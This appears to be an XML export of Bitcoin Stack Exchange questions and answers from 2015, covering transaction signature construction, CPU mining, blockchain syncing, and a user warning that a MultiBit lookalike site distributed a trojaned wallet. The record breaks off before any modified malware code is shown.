  <row Id="37093" PostTypeId="1" AcceptedAnswerId="37095" CreationDate="2015-04-26T14:03:02.273" Score="7" ViewCount="2131" Body="&lt;p&gt;I'm trying to create my own transaction from scratch, just to see how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently working backwards, and I'm stuck on the signature of a transaction...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my unsigned transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000001ff8ddda903d6e76b6c6211e1b8f3b4eaaa8d080aaa008d4b05ca01ea39116cbf0000000000ffffffff0170c9fa02000000001976a9147865b0b301119fc3eadc7f3406ff1339908e46d488ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my signed transaction (I have highlighted the signature):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000001ff8ddda903d6e76b6c6211e1b8f3b4eaaa8d080aaa008d4b05ca01ea39116cbf000000006b | 483045022100a385d7fb16a0de4ba101145c77c0eafc4840a61b41fc94733578a7d40c14def6022014ce25daa359db1bb3489db063cc0864601609f69d6ad15b490c13c27f86ab700121 | 02e4e8b42bf9fdf18895a9574e6f5fd01ebfa594bf51e8f8ad156638aee6223918ffffffff0170c9fa02000000001976a9147865b0b301119fc3eadc7f3406ff1339908e46d488ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I like to think I understand each segment of this serialized transaction. However, I don't know how to recreate the signature. I know I need to create a message and send it through an ECDSA signing function, but I do not know how to construct the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, &lt;strong&gt;what goes in to the &lt;em&gt;message&lt;/em&gt; to create a signature for this transaction?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2015-05-01T12:41:27.753" Title="What goes in to the message of a transaction signature?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37094" PostTypeId="1" AcceptedAnswerId="37098" CreationDate="2015-04-26T15:46:23.767" Score="2" ViewCount="118" Body="&lt;p&gt;To use a UTXO one must supply correct scriptSig or &quot;unlocking script&quot; to the given scriptPubKey &quot;lock script&quot;, I know the scriptSig in PTPKH locking is sig and pubkey. My question is what makes the sig be unique to the specific UTXO ? &#xA;It must be, otherwise I can take it and use it in different UTXO which has the same scriptPubKey .&lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-04-27T22:11:44.440" Title="Is it possible to copy other scriptSig for using in different transaction?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37095" PostTypeId="2" ParentId="37093" CreationDate="2015-04-26T17:07:52.400" Score="11" Body="&lt;p&gt;The message whose numerically interpreted hash, z, is used to construct the ECDSA signature (r,s) is constructed as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start with your unsigned transaction.&lt;/li&gt;&#xA;&lt;li&gt;Remove &lt;em&gt;all&lt;/em&gt; scriptSigs (for example, if you have multiple txins, some of which may already be signed, remove those signatures). For your example this step has no effect since there's only one txin.&lt;/li&gt;&#xA;&lt;li&gt;For the txin you're about to sign, find the corresponding UTXO's scriptPubKey, and set the current txin's scriptSig to be the value of the UTXO's scriptPubKey.&lt;/li&gt;&#xA;&lt;li&gt;Serialize the transaction.&lt;/li&gt;&#xA;&lt;li&gt;Append the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#signature-hash-types&quot; rel=&quot;noreferrer&quot;&gt;SIGHASH type&lt;/a&gt;, serialized as a 32-bit little-endian integer (the default SIGHASH_ALL has a value of 1).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The resulting byte stream is double SHA-256 hashed and interpreted as a big-endian integer (and used for &lt;a href=&quot;https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm#Signature_generation_algorithm&quot; rel=&quot;noreferrer&quot;&gt;ECDSA's z parameter&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your example, the scriptPubKey to insert comes from the UTXO at txid &lt;a href=&quot;https://blockchain.info/tx/bf6c1139ea01ca054b8d00aa0a088daaeab4f3b8e111626c6be7d603a9dd8dff&quot; rel=&quot;noreferrer&quot;&gt;bf6c1139ea01ca054b8d00aa0a088daaeab4f3b8e111626c6be7d603a9dd8dff&lt;/a&gt; index 0, specifically it is &lt;code&gt;OP_DUP OP_HASH160 d951eb562f1ff26b6cbe89f04eda365ea6bd95ce OP_EQUALVERIFY OP_CHECKSIG&lt;/code&gt;. Serialized, this is &lt;code&gt;76a914d951eb562f1ff26b6cbe89f04eda365ea6bd95ce88ac&lt;/code&gt;. The transaction constructed after completing step 3 is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;txid&quot; : &quot;a80d616ca30a003448157b92df511ad5294e225fd77fc3f2d5dc367a4d27f375&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;    {&#xA;        &quot;txid&quot; : &quot;bf6c1139ea01ca054b8d00aa0a088daaeab4f3b8e111626c6be7d603a9dd8dff&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 d951eb562f1ff26b6cbe89f04eda365ea6bd95ce OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a914d951eb562f1ff26b6cbe89f04eda365ea6bd95ce88ac&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    }&#xA;],&#xA;&quot;vout&quot; : [&#xA;    {&#xA;        &quot;value&quot; : 0.49990000,&#xA;        &quot;n&quot; : 0,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 7865b0b301119fc3eadc7f3406ff1339908e46d4 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a9147865b0b301119fc3eadc7f3406ff1339908e46d488ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;1Bybuago2EGrB7Z6jJG2GAFDojp6Njr8fa&quot;&#xA;            ]&#xA;        }&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It may look strange to have a scriptPubKey-style script in the scriptSig field, but that's the way it is. Once serialized, this becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1: 0100000001ff8ddda903d6e76b6c6211e1b8f3b4eaaa8d080aaa008d4b05ca01ea39116cbf0000000019&#xA;2: 76a914d951eb562f1ff26b6cbe89f04eda365ea6bd95ce88ac&#xA;3: ffffffff0170c9fa02000000001976a9147865b0b301119fc3eadc7f3406ff1339908e46d488ac00000000&#xA;4: 01000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above, line 2 is the serialized scriptPubKey, and line 4 is the appended SIGHASH_ALL. This full message is then hashed and interpreted as an int, resulting in &lt;code&gt;z=78289050778760245857840977078575435990304898491073736369300700378208907476567&lt;/code&gt;, which along with the private key is used to finally create the ECDSA signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that step 2 above assumes a SIGHASH_ALL signature. Other signature types remove additional parts of the transaction before signing, please see the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#signature-hash-types&quot; rel=&quot;noreferrer&quot;&gt;SIGHASH types&lt;/a&gt; link for more details.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-05-01T12:41:27.753" LastActivityDate="2015-05-01T12:41:27.753" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37097" PostTypeId="2" ParentId="37086" CreationDate="2015-04-26T18:18:10.853" Score="1" Body="&lt;p&gt;The Cryptsy driver does not support this, or any kind of argument, actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/timmolter/XChange/blob/df9eb4e4d95c5bb3954b1527f585d9238514fa94/xchange-cryptsy/src/main/java/com/xeiam/xchange/cryptsy/service/polling/CryptsyPublicMarketDataService.java#L39&quot; rel=&quot;nofollow&quot;&gt;https://github.com/timmolter/XChange/blob/df9eb4e4d95c5bb3954b1527f585d9238514fa94/xchange-cryptsy/src/main/java/com/xeiam/xchange/cryptsy/service/polling/CryptsyPublicMarketDataService.java#L39&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither does BTCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/timmolter/XChange/blob/df9eb4e4d95c5bb3954b1527f585d9238514fa94/xchange-btce/src/main/java/com/xeiam/xchange/btce/v2/service/polling/BTCEMarketDataService.java#L55&quot; rel=&quot;nofollow&quot;&gt;https://github.com/timmolter/XChange/blob/df9eb4e4d95c5bb3954b1527f585d9238514fa94/xchange-btce/src/main/java/com/xeiam/xchange/btce/v2/service/polling/BTCEMarketDataService.java#L55&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the BTCE &lt;code&gt;getTrades&lt;/code&gt; method does support a limit argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/timmolter/XChange/blob/df9eb4e4d95c5bb3954b1527f585d9238514fa94/xchange-btce/src/main/java/com/xeiam/xchange/btce/v2/service/polling/BTCEMarketDataService.java#L78&quot; rel=&quot;nofollow&quot;&gt;https://github.com/timmolter/XChange/blob/df9eb4e4d95c5bb3954b1527f585d9238514fa94/xchange-btce/src/main/java/com/xeiam/xchange/btce/v2/service/polling/BTCEMarketDataService.java#L78&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-26T18:18:10.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37098" PostTypeId="2" ParentId="37094" CreationDate="2015-04-26T18:33:00.783" Score="1" Body="&lt;p&gt;No, because clients use &lt;code&gt;SIGHASH_ALL&lt;/code&gt; in their transactions by default, which signs the outpoint you're spending in addition to the rest of the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People also sometimes add the flag &lt;code&gt;SIGHASH_ANYONECANPAY&lt;/code&gt; to &lt;code&gt;SIGHASH_ALL&lt;/code&gt; which still signs the outpoint you're spending.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-27T22:11:44.440" LastActivityDate="2015-04-27T22:11:44.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37099" PostTypeId="1" CreationDate="2015-04-26T18:35:40.647" Score="2" ViewCount="5067" Body="&lt;p&gt;I have a question about using cpuminer to mine bitcoins. I know that it's not efficient, but I'm not about making any money from it (obviously), I just want to mine some fractions of a bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I have downloaded and compiled it on Ubuntu and then started the program as seen in the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ./minerd --url=stratum+tcp://&amp;lt;server&amp;gt;:3333 --userpass=&amp;lt;username.worker&amp;gt;:&amp;lt;password&amp;gt; --algo=sha256d&#xA;&#xA;[2015-04-26 20:22:45] Starting Stratum on stratum+tcp://&amp;lt;server&amp;gt;:3333&#xA;[2015-04-26 20:22:45] Binding thread 2 to cpu 2&#xA;[2015-04-26 20:22:45] Binding thread 1 to cpu 1&#xA;[2015-04-26 20:22:45] 4 miner threads started, using 'sha256d' algorithm.&#xA;[2015-04-26 20:22:45] Binding thread 0 to cpu 0&#xA;[2015-04-26 20:22:45] Binding thread 3 to cpu 3&#xA;[2015-04-26 20:22:48] thread 3: 2097152 hashes, 1814 khash/s&#xA;[2015-04-26 20:22:48] thread 0: 2097152 hashes, 1774 khash/s&#xA;[2015-04-26 20:22:48] thread 1: 2097152 hashes, 1742 khash/s&#xA;[2015-04-26 20:22:48] thread 2: 2097152 hashes, 1355 khash/s&#xA;[2015-04-26 20:23:54] thread 2: 81299404 hashes, 1230 khash/s&#xA;[2015-04-26 20:24:05] thread 1: 104547880 hashes, 1354 khash/s&#xA;[2015-04-26 20:24:13] thread 3: 108821800 hashes, 1272 khash/s&#xA;[2015-04-26 20:24:25] thread 0: 106421736 hashes, 1095 khash/s&#xA;[2015-04-26 20:25:01] thread 2: 73787712 hashes, 1102 khash/s&#xA;[2015-04-26 20:25:07] thread 1: 81252652 hashes, 1312 khash/s&#xA;[2015-04-26 20:25:14] thread 3: 76317796 hashes, 1256 khash/s&#xA;[2015-04-26 20:25:27] thread 0: 65677172 hashes, 1051 khash/s&#xA;[2015-04-26 20:25:52] thread 2: 66108472 hashes, 1305 khash/s&#xA;[2015-04-26 20:26:12] thread 3: 75386708 hashes, 1307 khash/s&#xA;[2015-04-26 20:26:15] thread 1: 78701868 hashes, 1152 khash/s&#xA;[2015-04-26 20:26:28] thread 0: 63037412 hashes, 1031 khash/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I have now, is that I never get any output like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&amp;lt;Date&amp;gt;, &amp;lt;Time&amp;gt;] accepted: x/y (x/y%), &amp;lt;bla&amp;gt;khash/s (yay!!!)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the mining pool, I dont see my worker online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder now, if my computer does any work at all, or if it is just too slow and all the work it puts into mining goes to waste.&lt;/p&gt;&#xA;" OwnerUserId="25225" LastEditorUserId="5406" LastEditDate="2016-02-08T11:15:52.153" LastActivityDate="2019-10-23T07:45:14.557" Title="Does cpuminer do its work?" Tags="|mining-profitability|mining-pool-shares|cpu-mining|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37101" PostTypeId="2" ParentId="36270" CreationDate="2015-04-27T02:55:12.713" Score="2" Body="&lt;p&gt;I found blockchain to be reasonably manageable in size even if you are summarizing  individual transactions in each block across all blocks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to try to quickly play with blockchain, then download postgreSQL backup dump from here &lt;a href=&quot;http://dumps.webbtc.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://dumps.webbtc.com/bitcoin/&lt;/a&gt; - even if postgeSQL is not what you are looking for, you will be able to quickly re-shape this data with simple SQL and bulk load it to neo4j or whatever other DB in minutes&lt;/p&gt;&#xA;" OwnerUserId="25231" LastActivityDate="2015-04-27T02:55:12.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37102" PostTypeId="2" ParentId="36185" CreationDate="2015-04-27T04:03:29.400" Score="1" Body="&lt;p&gt;The levelDB gets corrupted if bitcoind stops abruptly, like during an outage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not that familiar with running bitcoin core on Windows, but this fixes the issue on Linux. It isn't the quickest or best solution, but if manually transferring wallet.dat isn't an option (and you can't dump the private key as another person suggested because bitcoind won't run) this may work for you: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into your bitcoin data folder and delete the 'blocks' and 'chainstate' directories and restart bitcoind. It will of course have to re-download the blockchain and re-index which will take a long time, maybe even a week, but it will eventually catch up and you can use bitcoin core again.&lt;/p&gt;&#xA;" OwnerUserId="25232" LastActivityDate="2015-04-27T04:03:29.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37103" PostTypeId="2" ParentId="20775" CreationDate="2015-04-27T04:20:26.323" Score="2" Body="&lt;p&gt;The getnewaddress command will create a new private key/address and associate this with the default account, which is &quot;&quot; (has no name).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can assign private keys to different accounts by naming them, and if you used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getnewaddress &quot;account1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would create a new private key/address for the account &quot;account1&quot;. This doesn't create multiple wallet.dat files, just different accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could store all the keys in the bitcoin core wallet and have each web users &quot;wallet&quot; be created as a different account in bitcoin core.&lt;/p&gt;&#xA;" OwnerUserId="25232" LastActivityDate="2015-04-27T04:20:26.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37104" PostTypeId="1" AcceptedAnswerId="37109" CreationDate="2015-04-27T06:41:34.587" Score="3" ViewCount="2138" Body="&lt;p&gt;I have a relatively slow computer and a slow internet connection. For this reason, I only open the bitcoin client when I really have to (because it uses a whole lot of bandwidth and CPU to download and verify the blockchain). However, as a consequence each time I open the client I now have even more to download and verify. At this point, I haven't opened the client for about 8 months. What is the best way to update the blockchain on my computer? I care much more about speed than about verification of the block chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have initiated the torrent file (bootstrap.dat), but it will take about a week to download and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/799/can-i-download-the-whole-block-chain-from-somewhere&quot;&gt;in this question&lt;/a&gt; I read that it is not supported nor updated anymore. Before I continue this very lengthy download, I wanted to see if this is actually the right method for my situation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using linux and the bitcoin-qt client.&lt;/p&gt;&#xA;" OwnerUserId="13827" LastActivityDate="2016-06-28T22:09:45.037" Title="Best way to update an outdated blockchain" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37105" PostTypeId="2" ParentId="37104" CreationDate="2015-04-27T07:20:42.960" Score="3" Body="&lt;p&gt;The bootstrap.dat file will still work, and if you already have part of it, it's probably better to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not longer updated because the synchronization code in Bitcoin Core 0.10 and afterwards works similar to how Bittorrent works (also from several peers at once, etc.), but verifies the data as it comes in, rather than only after you are done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you're only using the client every few months, I presume you just want it for the wallet. There are other wallet clients available, which do not require downloading and processing the entire chain.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-04-27T07:20:42.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37106" PostTypeId="2" ParentId="36943" CreationDate="2015-04-27T07:23:06.207" Score="2" Body="&lt;p&gt;I noticed that the 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ address is shown as the Multibit address here: hxxp://www.multibit.tv/blog.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the Multibit donation address at hxxps://multibit.org/blog.html is 1AhN6rPdrMuKBGFDKR1k9A8SCLYaNgXhty &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible you downloaded your Multibit from hxxp://www.multibit.tv/blog.html and that you didn't verify your installer? It's possible (but I don't know for sure) that hxxp://www.multibit.tv is a phishing site, and you've downloaded a backdoored version of Multibit from there.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastEditorUserId="2306" LastEditDate="2015-04-27T17:36:26.413" LastActivityDate="2015-04-27T17:36:26.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37107" PostTypeId="2" ParentId="37099" CreationDate="2015-04-27T07:49:25.340" Score="3" Body="&lt;p&gt;You are mining, but most pools today have a minimum share difficulty requirement, otherwise very fast miners bombard them with shares that they have to process and discard. For many pools this is at a minimum of 128 or higher, meaning it would take several days for a CPU miner to find a share on average. No pool has a payout of any less than 0.00001 BTC, so there is absolutely no chance of you ever being paid for your work if you are mining using a CPU or GPU at this point in time. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-04-28T14:00:43.677" LastActivityDate="2015-04-28T14:00:43.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37109" PostTypeId="2" ParentId="37104" CreationDate="2015-04-27T10:22:24.847" Score="5" Body="&lt;p&gt;You probably want to simply update your client to the latest version (0.10.1 was just published) and just run it. As of 0.10 it will download the missing months much faster. (As well as many wallet improvements.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forget about the bootstrap file, just cancel the download. It's three months old, so you would still end up with the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: you're probably better off regularly running the bitcoin client (maybe a scheduled task, once a week?) instead of letting it get behind 8 months. You might want to add the -listen=0 option, that way you won't have others connect to you and download blocks from you (saving you some bandwidth).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's really too heavy for you, you might consider a different wallet as Pieter mentioned.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-04-27T10:22:24.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37110" PostTypeId="2" ParentId="36943" CreationDate="2015-04-27T11:24:35.987" Score="6" Body="&lt;p&gt;(I am one of the MultiBit devs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The MultiBit code is hosted on multibit.org ONLY.&#xA;The 'tv' copy is a phishing site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DO NOT USE IT.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2015-04-27T11:41:39.567" LastActivityDate="2015-04-27T11:41:39.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37111" PostTypeId="2" ParentId="37055" CreationDate="2015-04-27T12:05:34.987" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;1.Is there a way to limit total possible holdings of the coin/share to say 1. i.e. the wallet couldn't hold more than 1 coin with the&#xA;  purpose of an individual only being able to hold 1 share of stock.&#xA;  Basically, we wouldn't want any single individual to be able to buy up&#xA;  or trade their way towards board control.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In this case, there is no point in a decentralized ownership, because you need a centralized ID verification to be able to define the &quot;single individual&quot; concept. For your use case, classical, non crypto shares are a best fit.&#xA;No amount of clever cryptography can define what &quot;single individual&quot; means, the best system that does that is an old school ID + notary. Even for the old school system, this is not easy stuff to enforce at large scale. (a typical example is LVMH takeover of Hermès in France)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are ready to relax this condition, the easiest way to spread shares of a company is trough Open Asset protocol on top of Bitcoin (Coinprism is the first wallet implementing the protocol)&#xA;Others proposition are not mature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are programmer, you can see how to implement voting and shares in &lt;a href=&quot;http://blockchainprogramming.azurewebsites.net/&quot; rel=&quot;nofollow&quot;&gt;my book about blockchain programming&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21478" LastActivityDate="2015-04-27T12:05:34.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37112" PostTypeId="1" CreationDate="2015-04-27T12:34:15.417" Score="1" ViewCount="4982" Body="&lt;p&gt;can anyone explain how to transfer data from Blockchain.info to Excel. I am not familiar with the CSV format.  Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="25242" LastActivityDate="2020-01-31T16:07:57.203" Title="How to import data from Blockchain.info to Excel" Tags="|blockchain.info|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37113" PostTypeId="2" ParentId="37112" CreationDate="2015-04-27T13:48:26.350" Score="1" Body="&lt;p&gt;Blockchain.info has a list of API endpoints to make it easy to collect data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/api&quot; rel=&quot;nofollow&quot;&gt;blockchain.info/api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on which data set you want, you can typically add &lt;code&gt;?format=csv&lt;/code&gt; to the end of the query to get results in csv format, or &lt;code&gt;?format=json&lt;/code&gt; if you'd prefer JSON. Once you have the data in a .csv file, you can simply &lt;a href=&quot;https://support.office.com/en-za/article/Import-or-export-text-txt-or-csv-files-5250ac4c-663c-47ce-937b-339e391393ba&quot; rel=&quot;nofollow&quot;&gt;open the file in Excel&lt;/a&gt;, which has native support for .csv files.&lt;/p&gt;&#xA;" OwnerUserId="18227" LastActivityDate="2015-04-27T13:48:26.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37114" PostTypeId="1" AcceptedAnswerId="37116" CreationDate="2015-04-27T14:13:40.757" Score="5" ViewCount="2254" Body="&lt;p&gt;Are there any freely-available (&quot;open source&quot;) ASIC design plans in, e.g., &lt;a href=&quot;https://en.wikipedia.org/wiki/Hardware_description_language&quot;&gt;HDL&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Altera_Hardware_Description_Language&quot;&gt;AHDL&lt;/a&gt; format(s)?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-04-27T15:51:30.667" Title="Open source ASIC design plans in Hardware Description Language (HDL) format?" Tags="|asic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37115" PostTypeId="2" ParentId="37114" CreationDate="2015-04-27T15:27:45.727" Score="2" Body="&lt;p&gt;There is the progranism project (&lt;a href=&quot;https://github.com/progranism/Open-Source-FPGA-Bitcoin-Miner&quot; rel=&quot;nofollow&quot;&gt;https://github.com/progranism/Open-Source-FPGA-Bitcoin-Miner&lt;/a&gt;), but the hash rate isn't great, and unless you are implementing this on an ASIC design, I don't think it is practical for large-scale, profitable mining. &lt;/p&gt;&#xA;" OwnerUserId="25243" LastEditorUserId="25243" LastEditDate="2015-04-27T15:51:30.667" LastActivityDate="2015-04-27T15:51:30.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37116" PostTypeId="2" ParentId="37114" CreationDate="2015-04-27T15:29:26.060" Score="6" Body="&lt;p&gt;No. ASIC designs are all proprietary. This is controlled to the point where gaining information about the use for packaged chips is subject to a highly restrictive NDA. Some optimizations in use are non-public, and at any rate nobody is going to give away millions or tens of millions of dollars worth of NRE cost to their competitors. It seems unlikely that any of the older manufacturers will make their designs open source, as most have collapsed since selling their devices. The public manufacturers like BFL, HashFast, CoinTerra, ASICminer have all struggled to even exist after selling their devices due to the large NRE cost and difficult market for the devices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are however some ancient FPGA miner designs written in VHDL which are open source. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/fpgaminer/Open-Source-FPGA-Bitcoin-Miner&quot;&gt;https://github.com/fpgaminer/Open-Source-FPGA-Bitcoin-Miner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They aren't very much use to anyone for practical use but may give some idea of how hardware miners function. ASIC miners are significantly more efficient than FPGA miners even on the same process, especially now that some are moving to regulator-less supply rail chaining designs, so there is no realistic chance of this information being profitable for anybody at this point in time. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-04-27T15:35:31.243" LastActivityDate="2015-04-27T15:35:31.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37117" PostTypeId="2" ParentId="36622" CreationDate="2015-04-27T15:39:35.217" Score="1" Body="&lt;p&gt;My &quot;Cuckoo Cycle&quot; &lt;a href=&quot;https://github.com/tromp/cuckoo&quot; rel=&quot;nofollow&quot;&gt;https://github.com/tromp/cuckoo&lt;/a&gt; is a memory bound graph-theoretic Proof-of-Work that is trivial to verify and AFAIK the only one whose runtime is dominated by memory latency.&lt;/p&gt;&#xA;" OwnerUserId="14258" LastActivityDate="2015-04-27T15:39:35.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37118" PostTypeId="1" AcceptedAnswerId="37120" CreationDate="2015-04-27T15:43:18.547" Score="8" ViewCount="13395" Body="&lt;p&gt;I want to access unspent data of a specific bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying this command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin-cli -regtest listunspent &quot;some bitcoin address&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am always getting an empty list. I am using local bitcoind server on windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do or use any function for getting desired output ? &lt;/p&gt;&#xA;" OwnerUserId="25002" LastActivityDate="2022-01-23T22:40:17.140" Title="How to get unspents for a specified bitcoin address?" Tags="|bitcoind|bitcoin-core|client|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37119" PostTypeId="2" ParentId="36943" CreationDate="2015-04-27T15:50:55.723" Score="4" Body="&lt;p&gt;I can confirm that the &quot;MultiBit&quot; software downloadable from MultiBit.tv is a trojan. The version I downloaded seems to be slightly different than OP's, but similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After decompiling the trojan, I found (one of?) the bitcoin-stealing changes made. Here's the original source code inside &lt;code&gt;SendBitcoinConfirmAction::actionPerformed()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (validator.validate(sendAddress, sendAmount)) {&#xA;    // The address and amount are valid.&#xA;&#xA;    // Create a SendRequest.&#xA;    Address sendAddressObject;&#xA;&#xA;    sendAddressObject = new Address(bitcoinController.getModel().getNetworkParameters(), sendAddress);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the modified code, which redirects outbound transactions to the malware author's address only if the intended send amount is 